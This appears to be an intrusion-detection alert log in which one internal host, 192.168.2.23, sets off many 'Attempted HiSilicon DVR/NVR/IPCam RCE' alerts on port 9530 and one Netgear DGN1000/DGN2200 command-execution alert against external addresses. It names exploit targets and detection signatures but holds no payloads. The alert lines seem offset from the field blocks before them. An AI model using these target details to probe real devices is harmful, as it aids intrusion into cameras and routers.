Timestamp:	05/16/24-16:39:14.492365
SID:	2030488
Source Port:	42570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.71.138.155

Timestamp:	05/16/24-16:39:14.492365
SID:	2030487
Source Port:	42570
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 13.76.248.35

Timestamp:	05/16/24-16:39:09.592094
SID:	2029215
Source Port:	52664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.171.247.43

Timestamp:	05/16/24-16:38:55.193115
SID:	2030488
Source Port:	57722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.136.148.11

Timestamp:	05/16/24-16:39:12.377494
SID:	2030488
Source Port:	46156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.211.226.9

Timestamp:	05/16/24-16:38:50.075573
SID:	2030487
Source Port:	45120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.60.149.138

Timestamp:	05/16/24-16:39:05.676373
SID:	2030487
Source Port:	39580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.211.226.9

Timestamp:	05/16/24-16:38:50.075573
SID:	2030488
Source Port:	45120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.136.148.11

Timestamp:	05/16/24-16:39:12.377494
SID:	2030487
Source Port:	46156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.222.32.199

Timestamp:	05/16/24-16:38:59.520124
SID:	2030487
Source Port:	58176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.222.32.199

Timestamp:	05/16/24-16:38:59.520124
SID:	2030488
Source Port:	58176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.60.149.138

Timestamp:	05/16/24-16:39:05.676373
SID:	2030488
Source Port:	39580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.155.212.231

Timestamp:	05/16/24-16:39:12.380117
SID:	2030488
Source Port:	45756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.155.212.231

Timestamp:	05/16/24-16:39:12.380117
SID:	2030487
Source Port:	45756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.41.38.221

Timestamp:	05/16/24-16:39:03.274732
SID:	2030488
Source Port:	35424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.41.38.221

Timestamp:	05/16/24-16:39:03.274732
SID:	2030487
Source Port:	35424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.218.71.44

Timestamp:	05/16/24-16:38:59.558483
SID:	2030488
Source Port:	38500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.92.108.175

Timestamp:	05/16/24-16:39:02.762990
SID:	2030487
Source Port:	46516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.94.223.65

Timestamp:	05/16/24-16:38:53.071282
SID:	2030487
Source Port:	37882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.92.108.175

Timestamp:	05/16/24-16:39:02.762990
SID:	2030488
Source Port:	46516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.233.148.186

Timestamp:	05/16/24-16:38:59.583176
SID:	2030488
Source Port:	57988
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.233.148.186

Timestamp:	05/16/24-16:38:59.583176
SID:	2030487
Source Port:	57988
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.94.223.65

Timestamp:	05/16/24-16:38:53.071282
SID:	2030488
Source Port:	37882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.218.71.44

Timestamp:	05/16/24-16:38:59.558483
SID:	2030487
Source Port:	38500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.140.226.76

Timestamp:	05/16/24-16:38:59.584418
SID:	2030487
Source Port:	47598
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.153.180.44

Timestamp:	05/16/24-16:39:16.614345
SID:	2030487
Source Port:	54618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.140.226.76

Timestamp:	05/16/24-16:38:59.584418
SID:	2030488
Source Port:	47598
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.153.180.44

Timestamp:	05/16/24-16:39:16.614345
SID:	2030488
Source Port:	54618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.230.253.151

Timestamp:	05/16/24-16:39:14.493585
SID:	2030488
Source Port:	40222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.150.203.242

Timestamp:	05/16/24-16:39:05.693218
SID:	2030487
Source Port:	34012
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.150.203.242

Timestamp:	05/16/24-16:39:05.693218
SID:	2030488
Source Port:	34012
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.222.170.131

Timestamp:	05/16/24-16:39:14.507632
SID:	2030488
Source Port:	51444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.222.170.131

Timestamp:	05/16/24-16:39:14.507632
SID:	2030487
Source Port:	51444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.92.10.188

Timestamp:	05/16/24-16:39:12.304041
SID:	2030488
Source Port:	41616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.211.69.146

Timestamp:	05/16/24-16:39:16.580372
SID:	2030488
Source Port:	34962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.91.144.111

Timestamp:	05/16/24-16:38:57.437134
SID:	2030487
Source Port:	37282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.251.95.201

Timestamp:	05/16/24-16:39:14.492224
SID:	2030487
Source Port:	35208
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.211.69.146

Timestamp:	05/16/24-16:39:16.580372
SID:	2030487
Source Port:	34962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.251.95.201

Timestamp:	05/16/24-16:39:14.492224
SID:	2030488
Source Port:	35208
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.91.144.111

Timestamp:	05/16/24-16:38:57.437134
SID:	2030488
Source Port:	37282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.150.233.235

Timestamp:	05/16/24-16:39:12.400471
SID:	2030487
Source Port:	41372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.132.213.42

Timestamp:	05/16/24-16:39:14.529808
SID:	2030488
Source Port:	49680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.92.10.188

Timestamp:	05/16/24-16:39:12.304041
SID:	2030487
Source Port:	41616
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.150.233.235

Timestamp:	05/16/24-16:39:12.400471
SID:	2030488
Source Port:	41372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.132.213.42

Timestamp:	05/16/24-16:39:14.529808
SID:	2030487
Source Port:	49680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.230.253.151

Timestamp:	05/16/24-16:39:14.493585
SID:	2030487
Source Port:	40222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.234.19.93

Timestamp:	05/16/24-16:38:57.424454
SID:	2030487
Source Port:	58262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.234.19.93

Timestamp:	05/16/24-16:38:57.424454
SID:	2030488
Source Port:	58262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.91.201.193

Timestamp:	05/16/24-16:39:03.284768
SID:	2030487
Source Port:	60456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.91.201.193

Timestamp:	05/16/24-16:39:03.284768
SID:	2030488
Source Port:	60456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.207.50.50

Timestamp:	05/16/24-16:39:12.304039
SID:	2030487
Source Port:	34270
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.207.50.50

Timestamp:	05/16/24-16:39:12.304039
SID:	2030488
Source Port:	34270
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.172.223.127

Timestamp:	05/16/24-16:39:08.041795
SID:	2030488
Source Port:	35894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.172.223.127

Timestamp:	05/16/24-16:39:08.041795
SID:	2030487
Source Port:	35894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.206.109.169

Timestamp:	05/16/24-16:38:57.304694
SID:	2030487
Source Port:	50728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.206.109.169

Timestamp:	05/16/24-16:38:57.304694
SID:	2030488
Source Port:	50728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.207.233.61

Timestamp:	05/16/24-16:39:02.743870
SID:	2030488
Source Port:	54930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.207.233.61

Timestamp:	05/16/24-16:39:02.743870
SID:	2030487
Source Port:	54930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.187.251.204

Timestamp:	05/16/24-16:39:12.295378
SID:	2030488
Source Port:	52920
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.121.74.148

Timestamp:	05/16/24-16:38:53.094101
SID:	2030488
Source Port:	44898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.121.74.148

Timestamp:	05/16/24-16:38:53.094101
SID:	2030487
Source Port:	44898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.203.145.80

Timestamp:	05/16/24-16:39:16.578672
SID:	2030488
Source Port:	48830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.203.145.80

Timestamp:	05/16/24-16:39:16.578672
SID:	2030487
Source Port:	48830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.200.108.88

Timestamp:	05/16/24-16:39:08.035605
SID:	2030487
Source Port:	59952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.180.74.140

Timestamp:	05/16/24-16:39:08.041829
SID:	2030487
Source Port:	40566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.200.108.88

Timestamp:	05/16/24-16:39:08.035605
SID:	2030488
Source Port:	59952
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.180.74.140

Timestamp:	05/16/24-16:39:08.041829
SID:	2030488
Source Port:	40566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.7.102.196

Timestamp:	05/16/24-16:38:53.011383
SID:	2030488
Source Port:	44452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.7.102.196

Timestamp:	05/16/24-16:38:53.011383
SID:	2030487
Source Port:	44452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.42.31.224

Timestamp:	05/16/24-16:38:59.587382
SID:	2030488
Source Port:	49892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.42.31.224

Timestamp:	05/16/24-16:38:59.587382
SID:	2030487
Source Port:	49892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.71.84.97

Timestamp:	05/16/24-16:39:05.702495
SID:	2030487
Source Port:	55924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.143.51.56

Timestamp:	05/16/24-16:39:14.527605
SID:	2030488
Source Port:	37838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.71.84.97

Timestamp:	05/16/24-16:39:05.702495
SID:	2030488
Source Port:	55924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.143.51.56

Timestamp:	05/16/24-16:39:14.527605
SID:	2030487
Source Port:	37838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.250.245.52

Timestamp:	05/16/24-16:39:14.509986
SID:	2030487
Source Port:	42368
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.187.251.204

Timestamp:	05/16/24-16:39:12.295378
SID:	2030487
Source Port:	52920
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.250.245.52

Timestamp:	05/16/24-16:39:14.509986
SID:	2030488
Source Port:	42368
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.155.69.9

Timestamp:	05/16/24-16:38:57.303526
SID:	2030487
Source Port:	47024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.77.53.73

Timestamp:	05/16/24-16:39:05.702496
SID:	2030487
Source Port:	33596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.77.53.73

Timestamp:	05/16/24-16:39:05.702496
SID:	2030488
Source Port:	33596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.22.2.43

Timestamp:	05/16/24-16:39:02.762802
SID:	2030488
Source Port:	44684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.155.69.9

Timestamp:	05/16/24-16:38:57.303526
SID:	2030488
Source Port:	47024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.123.41.60

Timestamp:	05/16/24-16:39:08.044978
SID:	2030487
Source Port:	52214
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.92.201.186

Timestamp:	05/16/24-16:39:08.041124
SID:	2030487
Source Port:	40090
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.92.201.186

Timestamp:	05/16/24-16:39:08.041124
SID:	2030488
Source Port:	40090
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.123.41.60

Timestamp:	05/16/24-16:39:08.044978
SID:	2030488
Source Port:	52214
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.27.239.117

Timestamp:	05/16/24-16:38:50.047386
SID:	2030487
Source Port:	50250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.27.239.117

Timestamp:	05/16/24-16:38:50.047386
SID:	2030488
Source Port:	50250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.187.116.114

Timestamp:	05/16/24-16:38:59.519272
SID:	2030487
Source Port:	55754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.176.41.122

Timestamp:	05/16/24-16:39:05.707005
SID:	2030488
Source Port:	59360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.176.41.122

Timestamp:	05/16/24-16:39:05.707005
SID:	2030487
Source Port:	59360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.175.28.27

Timestamp:	05/16/24-16:39:12.401759
SID:	2030488
Source Port:	52820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.86.24.218

Timestamp:	05/16/24-16:39:14.517505
SID:	2030487
Source Port:	47564
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.175.28.27

Timestamp:	05/16/24-16:39:12.401759
SID:	2030487
Source Port:	52820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.181.111.82

Timestamp:	05/16/24-16:39:08.146668
SID:	2030488
Source Port:	39486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.181.111.82

Timestamp:	05/16/24-16:39:08.146668
SID:	2030487
Source Port:	39486
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.20.61.253

Timestamp:	05/16/24-16:39:03.281199
SID:	2030487
Source Port:	32878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.20.61.253

Timestamp:	05/16/24-16:39:03.281199
SID:	2030488
Source Port:	32878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

